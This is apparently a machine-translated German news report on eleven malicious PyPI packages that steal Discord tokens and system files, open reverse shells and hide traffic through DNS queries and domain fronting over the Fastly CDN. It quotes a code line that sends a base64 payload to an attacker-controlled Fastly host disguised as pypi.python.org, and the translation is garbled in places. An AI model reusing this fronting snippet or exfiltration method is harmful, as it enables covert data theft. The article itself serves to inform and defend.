Im PyPI-Katalog wurden schädliche Bibliotheken identifiziert, die das PyPI-CDN verwenden, um den Kommunikationskanal zu verbergen

Im PyPI-Verzeichnis (Python Package Index) wurden 11 Pakete mit Schadcode identifiziert. Bevor die Probleme erkannt wurden, wurden die Pakete insgesamt etwa 38 Mal heruntergeladen. Die erkannten Schadpakete zeichnen sich dadurch aus, dass sie ausgefeilte Methoden verwenden, um Kommunikationskanäle mit den Servern der Angreifer zu verbergen.

  • importantpackage (6305 Downloads), important-package (12897) – stellte unter dem Deckmantel einer Verbindung zu pypi.python.org eine Verbindung zu einem externen Server her, um Shell-Zugriff auf das System bereitzustellen (Reverse-Shell) und verwendete das Programm trevorc2, um das zu verbergen Kommunikationskanal.
  • pptest (10001), ipboards (946) – verwendeten DNS als Kommunikationskanal zur Übertragung von Informationen über das System (im ersten Paket der Hostname, das Arbeitsverzeichnis, die interne und externe IP, im zweiten der Benutzername und der Hostname). .
  • Owlmoon (3285), DiscordSafety (557), yiffparty (1859) – identifizierte den Discord-Service-Token im System und schickte ihn an einen externen Host.
  • trrfab (287) – hat die Kennung, den Hostnamen und den Inhalt von /etc/passwd, /etc/hosts, /home an den externen Host gesendet.
  • 10Cent10 (490) – eine Reverse-Shell-Verbindung mit einem externen Host hergestellt.
  • yandex-yt (4183) – zeigte eine Meldung über die Kompromittierung des Systems an und leitete auf eine Seite mit zusätzlichen Informationen zu weiteren Aktionen um, die über nda.ya.ru (api.ya.cc) ausgegeben wurden.

Besonders hervorzuheben ist die in den Paketen importantpackage und important-package verwendete Methode zum Zugriff auf externe Hosts, die das im PyPI-Verzeichnis verwendete Content-Delivery-Netzwerk Fastly nutzten, um ihre Aktivitäten zu verbergen. Tatsächlich wurden Anfragen an den Server pypi.python.org gesendet (einschließlich der Angabe des Namens python.org in SNI in der HTTPS-Anfrage), aber der HTTP-Header „Host“ enthielt den Namen des von den Angreifern kontrollierten Servers (Abschnitt XNUMX). vorwärts.io.global.prod.fastly.net). Das Content-Delivery-Netzwerk sendete eine ähnliche Anfrage an den angreifenden Server und nutzte bei der Datenübertragung die Parameter der TLS-Verbindung zu pypi.python.org.

Die PyPI-Infrastruktur wird vom Fastly-Content-Delivery-Netzwerk betrieben, das den transparenten Varnish-Proxy zum Zwischenspeichern typischer Anfragen verwendet und außerdem die TLS-Zertifikatsverarbeitung auf CDN-Ebene statt auf den Endservern nutzt, um HTTPS-Anfragen über einen Proxy weiterzuleiten. Unabhängig vom Zielhost werden Anfragen an den Proxy gesendet, der mithilfe des HTTP-Headers „Host“ den gewünschten Host ermittelt und die Hostdomänennamen an die für alle Fastly-Clients typischen CDN-Load-Balancer-IP-Adressen gebunden sind.

Der Server der Angreifer registriert sich auch bei CDN Fastly, das kostenlose Pläne für alle bereitstellt und sogar eine anonyme Registrierung ermöglicht. Es ist bemerkenswert, dass zum Senden von Anfragen an das Opfer beim Erstellen einer „Reverse Shell“ ebenfalls ein Schema verwendet wird, das jedoch von der Seite des Hosts des Angreifers aus initiiert wird. Von außen sieht die Interaktion mit dem Server des Angreifers wie eine legitime Sitzung mit dem PyPI-Verzeichnis aus, verschlüsselt mit einem PyPI-TLS-Zertifikat. Eine ähnliche Technik, bekannt als „Domain Fronting“, wurde früher aktiv eingesetzt, um den Hostnamen bei der Umgehung der Blockierung zu verbergen. Dabei wurde die in einigen CDN-Netzwerken bereitgestellte Möglichkeit genutzt, auf HTTPS zuzugreifen, indem im SNI ein fiktiver Host angegeben und tatsächlich der Name des Hosts übermittelt wurde angeforderter Host im HTTP-Host-Header innerhalb einer TLS-Sitzung.

Im PyPI-Katalog wurden schädliche Bibliotheken identifiziert, die das PyPI-CDN verwenden, um den Kommunikationskanal zu verbergen

Um bösartige Aktivitäten zu verbergen, wurde zusätzlich das TrevorC2-Paket verwendet, um die Interaktion mit dem Server ähnlich wie bei der normalen Webnavigation zu gestalten. Beispielsweise wurden böswillige Anfragen unter dem Deckmantel des Herunterladens des Bildes „https://pypi.python.org/images/“ gesendet. guid=" mit Informationskodierung im guid-Parameter. url = „https://pypi.python.org“ + „/images“ + „?“ + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Die Pakete pptest und ipboards verwendeten einen anderen Ansatz, um Netzwerkaktivitäten zu verbergen, indem sie nützliche Informationen in Abfragen an den DNS-Server kodierten. Die Malware übermittelt Informationen, indem sie DNS-Anfragen wie „nu4timjagq4fimbuhe.example.com“ ausführt, bei denen die an den Kontrollserver übertragenen Daten im Base64-Format im Subdomainnamen kodiert werden. Der Angreifer erhält diese Nachrichten, indem er den DNS-Server für die Domäne example.com kontrolliert.

Source: opennet.ru

Kommentar hinzufügen